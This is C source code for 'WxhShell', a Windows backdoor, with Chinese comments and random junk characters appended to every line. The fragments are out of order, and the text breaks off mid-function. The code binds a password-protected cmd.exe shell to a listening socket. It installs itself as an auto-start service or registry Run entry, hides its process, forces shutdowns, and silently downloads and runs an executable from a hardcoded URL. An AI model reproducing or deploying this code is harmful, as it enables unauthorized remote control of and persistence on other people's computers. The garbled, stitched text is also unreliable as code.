  case 'd': { =KPmZ,/w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w"R<8e=  
    if(Boot(SHUTDOWN)) %-n) L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U^PXpNQ'  
    else { 3%POTAw%  
    closesocket(wsh); Y|tHU'x  
    ExitThread(0); `D+zX  
    } kt yplo#F  
    break; !#0)`4O  
    } j<^!"_G]*?  
  // 获取shell 5%,3)H{;t  
  case 's': { r^ r+h[V  
    CmdShell(wsh); _}R$h=YD  
    closesocket(wsh); Z '5itN^  
    ExitThread(0); I\)`,w  
    break; KXt8IMP_"y  
  } %vmd2}dA  
  // 退出 A?YYR%o%'  
  case 'x': { 3BM z{ny=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Nc+0_|,  
    CloseIt(wsh); >G`p T#  
    break; hUMG}<  
    } C*Q7@+&  
  // 离开 :C5w5 Vnj  
  case 'q': { !Rv ;~f/2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5IU!BQU  
    closesocket(wsh); =4_}.  
    WSACleanup(); R_EU|a  
    exit(1); j^jC|  
    break; S`-I-VS=L  
        } 4  %0s p  
  } hW*o;o7u  
  } <'\Nv._2a  
u&~Xgq5[  
  // 提示信息 J^+w]2`S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F,_L}  
} f`qy~M&  
  } 6))":<J  
v`4w=!4  
  return; 9^*RK6  
} %H\b5& _y  
R0?bcP&  
// shell模块句柄 uda++^y:  
int CmdShell(SOCKET sock) Cd'D ~'=  
{ &4%pPL\f  
STARTUPINFO si; dS1HA>c)O  
ZeroMemory(&si,sizeof(si)); *R6lK&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I_1?J* b4k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6J;!p/C8E  
PROCESS_INFORMATION ProcessInfo; D`XXR}8V  
char cmdline[]="cmd"; ;@; a eu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^wy  
  return 0; $ #=d@Nw_  
} JA^!i98{  
R>c>wYt'f  
// 自身启动模式 ^; KC E  
int StartFromService(void) =1[_#Moc6  
{ C^q|(G)  
typedef struct q^[t</_ N  
{ e;6:U85LS  
  DWORD ExitStatus; `}Y)l:G*g  
  DWORD PebBaseAddress; "dpjxH=xO  
  DWORD AffinityMask; A f`Kg-c_(  
  DWORD BasePriority; }+j B5z'w  
  ULONG UniqueProcessId; RLf-Rdx/  
  ULONG InheritedFromUniqueProcessId; nWK8.&{.  
}   PROCESS_BASIC_INFORMATION; &YIL As^8A  
M~zI;:0O  
PROCNTQSIP NtQueryInformationProcess; O/eZ1YAC  
?;tPqOs&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z$&B7?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |5flvkid  
>33=0<  
  HANDLE             hProcess; HQ+{9Z8 ?5  
  PROCESS_BASIC_INFORMATION pbi; L;:|bVH  
her>L3G-E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3nA^s"#p  
  if(NULL == hInst ) return 0; #ed|0  
sm18u-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hP:>!KJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u-~ec{oBu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Fh YQI  
+c8`N'~  
  if (!NtQueryInformationProcess) return 0; |k~AGc  
[>NMuwtG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Za}q]?  
  if(!hProcess) return 0; IYn`&jS{  
eX\v;~W*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w,P@@Q E  
gb,ZN^3<-  
  CloseHandle(hProcess); -gGw_w?)(  
B2r[oT R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !$n@:W/  
if(hProcess==NULL) return 0; bofI0f}5.  
TqJ @l  
HMODULE hMod; <HnJD/g  
char procName[255]; !v2/sq$G  
unsigned long cbNeeded; `GE8?UO-  
[w}-)&c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sd4eG  
D@p{EH  
  CloseHandle(hProcess); ET^?>YsA  
u""26k51  
if(strstr(procName,"services")) return 1; // 以服务启动 X!g;;DB\  
?[#w*Am7  
  return 0; // 注册表启动 n]6 '!Eo  
} OK4r)  
,LZA\XC  
// 主模块 v RD/67  
int StartWxhshell(LPSTR lpCmdLine) 38sLyoG=i  
{ =b66H]h?  
  SOCKET wsl; XrUI [ryE  
BOOL val=TRUE; .?:#<=1  
  int port=0; Q>L(=j2t  
  struct sockaddr_in door; r!b>!  
"PMJh3q  
  if(wscfg.ws_autoins) Install(); cKYvNM  
5H Cw%n9  
port=atoi(lpCmdLine); {zZ)JWM<w  
= V')}f~C  
if(port<=0) port=wscfg.ws_port; '-myOM7  
6}Y==GP t  
  WSADATA data; [!U%''  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H%vgPQ8  
6,4vs+(|\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Wpf~Ji6||  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a6zWg7 PN  
  door.sin_family = AF_INET; RQ0^ 1 R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A*BN  
  door.sin_port = htons(port); b81^756  
`[$>S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ty5# a  
closesocket(wsl); :Xy51p`.;]  
return 1; NcbW"Qv3  
} Z>UM gu3c  
;8=Bee4  
  if(listen(wsl,2) == INVALID_SOCKET) { <LZ#A@]71  
closesocket(wsl); Fr50hrtkU  
return 1; mfj%-)l9  
} `i|!wD,=\  
  Wxhshell(wsl); ")9^  
  WSACleanup(); <:AA R2=  
w nBvJb]4l  
return 0; #[i3cn  
nKd'5f1  
} .Ao _c x  
?6"U('y>n  
// 以NT服务方式启动 l`#rhuy`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5222"yn"c  
{ 7 2i&-`&4  
DWORD   status = 0; 1 jLQij  
  DWORD   specificError = 0xfffffff; pzt<[;  
_x|R`1`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >'#vC]@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P#3J@aRC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kXdXyq  
  serviceStatus.dwWin32ExitCode     = 0; ,f%4xXI  
  serviceStatus.dwServiceSpecificExitCode = 0; d_:f-  
  serviceStatus.dwCheckPoint       = 0; @r<2]RXlc  
  serviceStatus.dwWaitHint       = 0; Dy5&-yk  
e{5O>RO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V(;T{HW&  
  if (hServiceStatusHandle==0) return; IJ5'n  
8 # BR\  
status = GetLastError(); D?dS/agA  
  if (status!=NO_ERROR) Lo}T%0"G  
{ rR ^o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G/~b(V;>  
    serviceStatus.dwCheckPoint       = 0; ;Tk/}Od!VN  
    serviceStatus.dwWaitHint       = 0; 6i+AJCkC  
    serviceStatus.dwWin32ExitCode     = status; Vxo?%Dj  
    serviceStatus.dwServiceSpecificExitCode = specificError; daCkjDGl\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [T9]q8"  
    return; %qqCpg4  
  } ts@w9|  
/F^ Jn_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n4B uM R  
  serviceStatus.dwCheckPoint       = 0; ,Y| ;V  
  serviceStatus.dwWaitHint       = 0; G,+3(C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D'%M#S0   
} ^N^s|c'  
(I6Q"&h]  
// 处理NT服务事件,比如:启动、停止 %p7onwKq0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ik, N/[  
{ 9W-" mD;  
switch(fdwControl) yzl}!& E  
{ )b%zYD9p  
case SERVICE_CONTROL_STOP: 'xG{q+jj'  
  serviceStatus.dwWin32ExitCode = 0; toU<InN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EqBTN07dZS  
  serviceStatus.dwCheckPoint   = 0; YnU*MC}  
  serviceStatus.dwWaitHint     = 0; *T}c{/  
  { 6)ysiAH?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w87$p821  
  } H}&JrT95  
  return; Mcz;`h|EW  
case SERVICE_CONTROL_PAUSE: rmC7!^/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }4piZ ch  
  break; DTsD<o  
case SERVICE_CONTROL_CONTINUE: 3&"uf9d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9:3`LY3wW  
  break; ew,okRCN  
case SERVICE_CONTROL_INTERROGATE: f`rI]v|@  
  break; cM,g, E}  
};  `2\:b^h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4M0p:Ey '  
} RkTYvAk|kY  
'"c`[L7Wn  
// 标准应用程序主函数 OaT]2o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n``9H 91  
{ "1>w\21  
2[1t )EW  
// 获取操作系统版本 p1.3)=T  
OsIsNt=GetOsVer(); X$~T*l0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b&Laxki  
2dB]Lw@s  
  // 从命令行安装 K:VZ#U(_  
  if(strpbrk(lpCmdLine,"iI")) Install(); B>S>t5$  
CQmozh-  
  // 下载执行文件 ^U*1_|Jh  
if(wscfg.ws_downexe) { \J#&]o)Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  JJs*2y  
  WinExec(wscfg.ws_filenam,SW_HIDE); egr"og{  
} ?|_i"*]l  
oLq N  
if(!OsIsNt) { g-ZXj4Ph!  
// 如果时win9x,隐藏进程并且设置为注册表启动 lu+KfKa  
HideProc(); j B1ZF#  
StartWxhshell(lpCmdLine); Yi[MoYe/K  
} rf`xY4I\  
else >Y\?v-^~;  
  if(StartFromService()) OwNo$b]h`  
  // 以服务方式启动 @.)[U:N  
  StartServiceCtrlDispatcher(DispatchTable); xzFQ)t&  
else [wJ\.9<Oa  
  // 普通方式启动 fo~*Bp()-E  
  StartWxhshell(lpCmdLine); WCk. K  
C1l'<  
return 0; \"L0d1DK)  
} +T4}wm  
Q`;eI a6U  
KW ZEi?  
jS8B:>  
=========================================== [#G*GAa6*  
^wwS`vPb  
@Jqo'\~&  
M0?%r`  
ly_8p63-  
A>mk0P)~Q  
" Akws I@@  
k!bJ&} Q(b  
#include <stdio.h> 35x]'  
#include <string.h>  n0EW U,1  
#include <windows.h> DSq?|H  
#include <winsock2.h> fz8 41 <Y  
#include <winsvc.h> B~@Gfb>`'  
#include <urlmon.h> .A_R6~::  
@SaxM4  
#pragma comment (lib, "Ws2_32.lib") ;n|%W,b-  
#pragma comment (lib, "urlmon.lib") &m\Uc  
oSjYp(h:  
#define MAX_USER   100 // 最大客户端连接数 0ZLLbEfnPB  
#define BUF_SOCK   200 // sock buffer 4pelIoj  
#define KEY_BUFF   255 // 输入 buffer '{.8tT ?tJ  
M^hz<<:$  
#define REBOOT     0   // 重启 a({N}ZDo  
#define SHUTDOWN   1   // 关机 Ro `Xs.X  
=1VZcLNt  
#define DEF_PORT   5000 // 监听端口 -II03 S1  
l[%=S!  
#define REG_LEN     16   // 注册表键长度 Lp4F1H2t-  
#define SVC_LEN     80   // NT服务名长度 lOe|]pQ.,  
P*U^,Jh<  
// 从dll定义API IGly x'\_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y" rODk1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jT F "  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nZ#u#V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Z` wU  
6V@_?a-K  
// wxhshell配置信息 @6aJh< c  
struct WSCFG { oS<Gj I:  
  int ws_port;         // 监听端口 _2}~Vqb+  
  char ws_passstr[REG_LEN]; // 口令 &h!O<'*2  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4}UJ Bb?  
  char ws_regname[REG_LEN]; // 注册表键名 2|WM?V&  
  char ws_svcname[REG_LEN]; // 服务名 fU$_5v4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G+k wG)K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vfXNN F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o-AF_N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]ZW-`UMO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |B'4wF>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SXvflr] =m  
xD~r Q$6sI  
}; ~Je40vO[  
.Y8P6_  
// default Wxhshell configuration iC>%P&|-)|  
struct WSCFG wscfg={DEF_PORT, 7fSNF7/+  
    "xuhuanlingzhe", 0L,!o[L*  
    1, XJy.xI>;  
    "Wxhshell", 0_Elxc  
    "Wxhshell", /iAhGY  
            "WxhShell Service", $ e,r>tgD  
    "Wrsky Windows CmdShell Service", j+q)  
    "Please Input Your Password: ", cD)9EFo  
  1, dD~H ft  
  "http://www.wrsky.com/wxhshell.exe", f5{|_]q]  
  "Wxhshell.exe" <r>Sj /w<D  
    }; WiQVZ {  
o1*P|.`  
// 消息定义模块 3p?nQ O)L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +9pock  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DnG9bVm>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z}Us+>z+jc  
char *msg_ws_ext="\n\rExit."; x(4"!#  
char *msg_ws_end="\n\rQuit."; V[WL S?-)  
char *msg_ws_boot="\n\rReboot..."; %W=BdGr[8z  
char *msg_ws_poff="\n\rShutdown..."; X=lsuKREZ  
char *msg_ws_down="\n\rSave to "; i3d 2+N`  
0w< ilJ  
char *msg_ws_err="\n\rErr!"; sX3qrRY  
char *msg_ws_ok="\n\rOK!"; L$+_  
iWFtb)3B  
char ExeFile[MAX_PATH]; >ke.ZZV?  
int nUser = 0; oR,zr  
HANDLE handles[MAX_USER]; _iEnS4$A8  
int OsIsNt; "O|.e`C%^  
| WTWj  
SERVICE_STATUS       serviceStatus; .jC5 y&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kt\,$.v8  
EA9.?F  
// 函数声明 jENC1T(  
int Install(void); g>w {{G  
int Uninstall(void); ".N{v1  
int DownloadFile(char *sURL, SOCKET wsh); jAv3qMQA  
int Boot(int flag); HvKdV`bz  
void HideProc(void);  4~ L1~Gk  
int GetOsVer(void); . &`YlK  
int Wxhshell(SOCKET wsl); >}2 ,2  
void TalkWithClient(void *cs); /lPnf7  
int CmdShell(SOCKET sock); fR+{gazk n  
int StartFromService(void); Doq}UWp  
int StartWxhshell(LPSTR lpCmdLine); KhX)maQ  
fE&s 6w&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nt-_)4Fm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r:E4Wi{\  
}[drR(]`dO  
// 数据结构和表定义 _8F;-7Sz  
SERVICE_TABLE_ENTRY DispatchTable[] = C]l)Pz$  
{ bmi",UZ:F  
{wscfg.ws_svcname, NTServiceMain}, yHlQKI  
{NULL, NULL} 11Qi _T\  
}; pzUr9  
Am*lx  
// 自我安装 s,!vBSn8  
int Install(void) UUZm]G+  
{ kumo%TXB&  
  char svExeFile[MAX_PATH]; RP[`\  
  HKEY key; Ex|Z@~T12  
  strcpy(svExeFile,ExeFile); 1^V.L+0s]  
@Bjp7v :w  
// 如果是win9x系统,修改注册表设为自启动 kdx06'4o  
if(!OsIsNt) { DHuvHK0#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5} ur,0{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <sM_zoprc  
  RegCloseKey(key); 05\0g9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .a(G=fk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }$qrNbLJ  
  RegCloseKey(key); skTa IGRL  
  return 0; r$'.$k\  
    } :A:7^jrhi  
  } ,O:p`"3`0=  
} 1ah,Zth2  
else { @ ,;h!vB*=  
m|x_++3  
// 如果是NT以上系统,安装为系统服务 :hW(2=%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tX@y ]"  
if (schSCManager!=0) Ruq>+ }4  
{ MU2kA&LH  
  SC_HANDLE schService = CreateService PYs0w6o  
  ( 0dS(g&ZR  
  schSCManager, A-_M=\  
  wscfg.ws_svcname, T /IX(b'<  
  wscfg.ws_svcdisp, H"k\(SPVS  
  SERVICE_ALL_ACCESS, 4g}r+!T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `.3.n8V  
  SERVICE_AUTO_START, &y|PseH"  
  SERVICE_ERROR_NORMAL, 8g-Z~~0W1  
  svExeFile, v<)&JlR  
  NULL, C.LAr~P  
  NULL, M5dEZ  
  NULL, {D(l#;,iX2  
  NULL, Qt_KUtD  
  NULL ad47 42  
  ); NV?XZ[<*<  
  if (schService!=0) J kAd3ls  
  { w`+-xT%  
  CloseServiceHandle(schService); v*.iNA;&i  
  CloseServiceHandle(schSCManager); <RbfW'<G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V?) V2>]  
  strcat(svExeFile,wscfg.ws_svcname); w9RBT(u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C?]eFKS."  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MZcvr9y  
  RegCloseKey(key); Y8IC4:EO  
  return 0; J|be'V#]1  
    } #902x*Z'c"  
  } [q_62[-X  
  CloseServiceHandle(schSCManager); /L@o.[H  
} re#]zc<  
} =A{'57yP  
ahCwA}  
return 1; fk X86  
} iS<1C`%>  
UWS 91GN@  
// 自我卸载  iycceZ  
int Uninstall(void) OT=1doDp  
{ ?MmQ'1N  
  HKEY key; Q)M-f;O  
q@XJ,e1A  
if(!OsIsNt) { w'$>E4\   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (vzYgU,  
  RegDeleteValue(key,wscfg.ws_regname); ~&F|g2:  
  RegCloseKey(key); _y>drvg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $FX$nY  
  RegDeleteValue(key,wscfg.ws_regname); yM9>)SE5`  
  RegCloseKey(key); ~UQ<8`@a  
  return 0; 5!$sQ@#}D  
  } +opym!\  
} O7LJ-M  
} -b8SaLak  
else { VYh/ URU>  
$3&XM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d7QUg 6=  
if (schSCManager!=0) @(E6P;+{  
{ &2 *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KHC Fz  
  if (schService!=0)  AW|SD  
  { "iX\U'`  
  if(DeleteService(schService)!=0) { 0:4>rYBC   
  CloseServiceHandle(schService); _K'Y`w']  
  CloseServiceHandle(schSCManager); \+Y=}P>  
  return 0; cq gCcO ,  
  } I5g|)Y Q  
  CloseServiceHandle(schService); 3="vOSJ6&  
  } 4!xRA''  
  CloseServiceHandle(schSCManager); b2[U3)|oO  
} *14:^neoI  
} s~B)xYmyB'  
Y$c7uA:4  
return 1; @]}/vsI m  
} _Ye.29  
c'Ibgfx%m  
// 从指定url下载文件 H]wP \m)  
int DownloadFile(char *sURL, SOCKET wsh) T3SFG]H  
{ yENAcsv  
  HRESULT hr; ?Ov~\[) F  
char seps[]= "/"; T@#?{eA  
char *token; 8 *{jxN'M  
char *file; &sBD0R(a  
char myURL[MAX_PATH]; 0L#i c61U  
char myFILE[MAX_PATH]; i1KjQ1\a+  
S# baOO  
strcpy(myURL,sURL); i`];xNR'  
  token=strtok(myURL,seps); O<,\ tZ'N  
  while(token!=NULL) @]2aPs} }6  
  { 'o0o.&/=  
    file=token; yIngenr$  
  token=strtok(NULL,seps); bT T>  
  } 6biR5&Y5U&  
2$!,$J-<Y  
GetCurrentDirectory(MAX_PATH,myFILE); 6w m-uu  
strcat(myFILE, "\\"); D/4]r@M2c  
strcat(myFILE, file); I!1+#0SG  
  send(wsh,myFILE,strlen(myFILE),0); iT O Y  
send(wsh,"...",3,0); 5P\A++2 2Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FU .%td=:  
  if(hr==S_OK)  QV\a f  
return 0; 6o9&FU  
else 3$5E1*ed  
return 1; /Lm~GmPt  
cVO- iPK  
} [cznhIvyO  
K{@xZ)  
// 系统电源模块 0_+ & [g}  
int Boot(int flag) }-XZ1qr  
{ cwtlOg  
  HANDLE hToken; (0`w.n  
  TOKEN_PRIVILEGES tkp; B|$o.$5  
kdV9F  
  if(OsIsNt) { CRNi*u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 98?O[=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -J#RGB{7  
    tkp.PrivilegeCount = 1; -m>3@"q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R-OO1~W=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8d Fqwpw8  
if(flag==REBOOT) { Y hmveV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WDV=]D/OE  
  return 0; 6d/v%-3  
} +s;Vfc$b]H  
else { hmG8 {h/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ QohP`_  
  return 0; g&EK^q  
} |4 2;171  
  } _29wQn@]  
  else { "XLtrAu{  
if(flag==REBOOT) { Yl"CIgt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "zQ<)Q]U  
  return 0; "_dg$j`Y&&  
} $Z w +"AA  
else { WwtVuc|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wpi$-i`  
  return 0; P6ktA-Hv>  
} LayK&RwL  
} 4(oU88 z  
;~d$O M  
return 1; >#l: ]T  
} S+- $Ih`[  
=h|cs{eT\2  
// win9x进程隐藏模块 Zby3.=.e  
void HideProc(void) CQa8I2VF (  
{ cjO %X  
.sM,U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x{K"z4xbI  
  if ( hKernel != NULL ) dtfOFag4_  
  { IO=$+c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $_TS]~y4}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mT UoFXX[  
    FreeLibrary(hKernel); &=n/h5e0t&  
  } %xQ'i4`  
+,$pcf<[V  
return; !7)#aXt&  
} ANM=:EtP  
/QVwZrch  
// 获取操作系统版本 K\8zhY  
int GetOsVer(void) U:3O E97  
{ 33D2^ Sf6"  
  OSVERSIONINFO winfo; =mPe wx'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )X|)X,~+-  
  GetVersionEx(&winfo); `zw%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &k)v/  
  return 1; FPF$~ sX  
  else /3SEu(d!  
  return 0; N!wuBRWR  
} _`^AgRE  
d6JW"  
// 客户端句柄模块 qz3 Z'  
int Wxhshell(SOCKET wsl) chKEGosbF  
{ "p|.[d  
  SOCKET wsh; UA2KY}pz5  
  struct sockaddr_in client; 5~jz| T}s  
  DWORD myID; U] GD6q  
4pQf*l8e  
  while(nUser<MAX_USER) j|&D(]W/  
{  zy"k b  
  int nSize=sizeof(client); L]!![v.VY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )1Y?S;  
  if(wsh==INVALID_SOCKET) return 1; lz<' L. .  
Ev7v,7`z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (jj`}Qe3U  
if(handles[nUser]==0) <Z.{q Zd  
  closesocket(wsh); !QbuOvw  
else 8HJ,6Lr;  
  nUser++; U.I w/T-5  
  } vyJ8" #]qY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \O;/wf0Hg  
$cJ fdE  
  return 0; YaC[S^p  
} <DR! AR)  
_Y]Oloo('  
// 关闭 socket Cojs;`3iF:  
void CloseIt(SOCKET wsh) t^zE^:06  
{ :3 Hz!iZM  
closesocket(wsh); 2PRiiL@  
nUser--; >JsVIfAF  
ExitThread(0); Z}\,rex  
} 6S_mfWsi  
3c,4 wyn  
// 客户端请求句柄 Q3&D A1b`  
void TalkWithClient(void *cs) #Y=b7|l  
{ z~~pH9=c2  
&p_iAMn:9  
  SOCKET wsh=(SOCKET)cs; n^l*oEl  
  char pwd[SVC_LEN]; 6m(? (6+;K  
  char cmd[KEY_BUFF]; _,aFQ^]'9  
char chr[1]; P!IA;i  
int i,j; ob2_=hQnC  
6D2ot&5WW  
  while (nUser < MAX_USER) { TlkhI  
kp<Au)u  
if(wscfg.ws_passstr) { -qaO$M^Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0#8, (6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;]m;p,$  
  //ZeroMemory(pwd,KEY_BUFF); 32SkxcfrCK  
      i=0; )AR- b8..o  
  while(i<SVC_LEN) { ^gp]tAf  
p3mZw lO  
  // 设置超时 {6RA~  
  fd_set FdRead; _a& Z$2O  
  struct timeval TimeOut; Z8Y& #cB  
  FD_ZERO(&FdRead); 9{j`eAUZl  
  FD_SET(wsh,&FdRead); lZ[J1:%  
  TimeOut.tv_sec=8; ZX`x9/0&  
  TimeOut.tv_usec=0; `5wiXsNjLY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w6X:39d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4^:dmeMZ`  
-.M J3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oi,KA  
  pwd=chr[0];  1hi, &h  
  if(chr[0]==0xd || chr[0]==0xa) { % 33O)<?  
  pwd=0; pt3)yj&XE  
  break; DeNWh2  
  } Fv %@k{  
  i++; ?6&G:Uz/  
    } KGo^>us  
8,[ *BgeX  
  // 如果是非法用户,关闭 socket .JB1#&B +  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F*Hovxez  
} Vjt7X"_/  
tx9 %.)M:n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %r.C9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &-Wt!X 3  
8N9,HNBT$  
while(1) { mk!8>XvM  
w42{)S"  
  ZeroMemory(cmd,KEY_BUFF); SC4jKm2  
e],(d7Jo  
      // 自动支持客户端 telnet标准   RfD#/G3|  
  j=0; t g-(e=S4P  
  while(j<KEY_BUFF) { DBcR1c&<H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +4T.3Njjn  
  cmd[j]=chr[0]; rKslgZhQ  
  if(chr[0]==0xa || chr[0]==0xd) { @jMo/kO/A  
  cmd[j]=0; -X7x~x-  
  break; uaKbqX  
  } @p WN5VL  
  j++; $[,4Ib_|  
    } fi`\e W  
3Ke6lV)uq  
  // 下载文件 m|{^T/kIbQ  
  if(strstr(cmd,"http://")) { #5z0~Mg-X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GJr mK  
  if(DownloadFile(cmd,wsh)) dM= &?g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s- PS]l@  
  else W0~G`A(:;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /(51\RYkir  
  } Abt<23$h  
  else { %'2.9dB  
Z_m<x!  
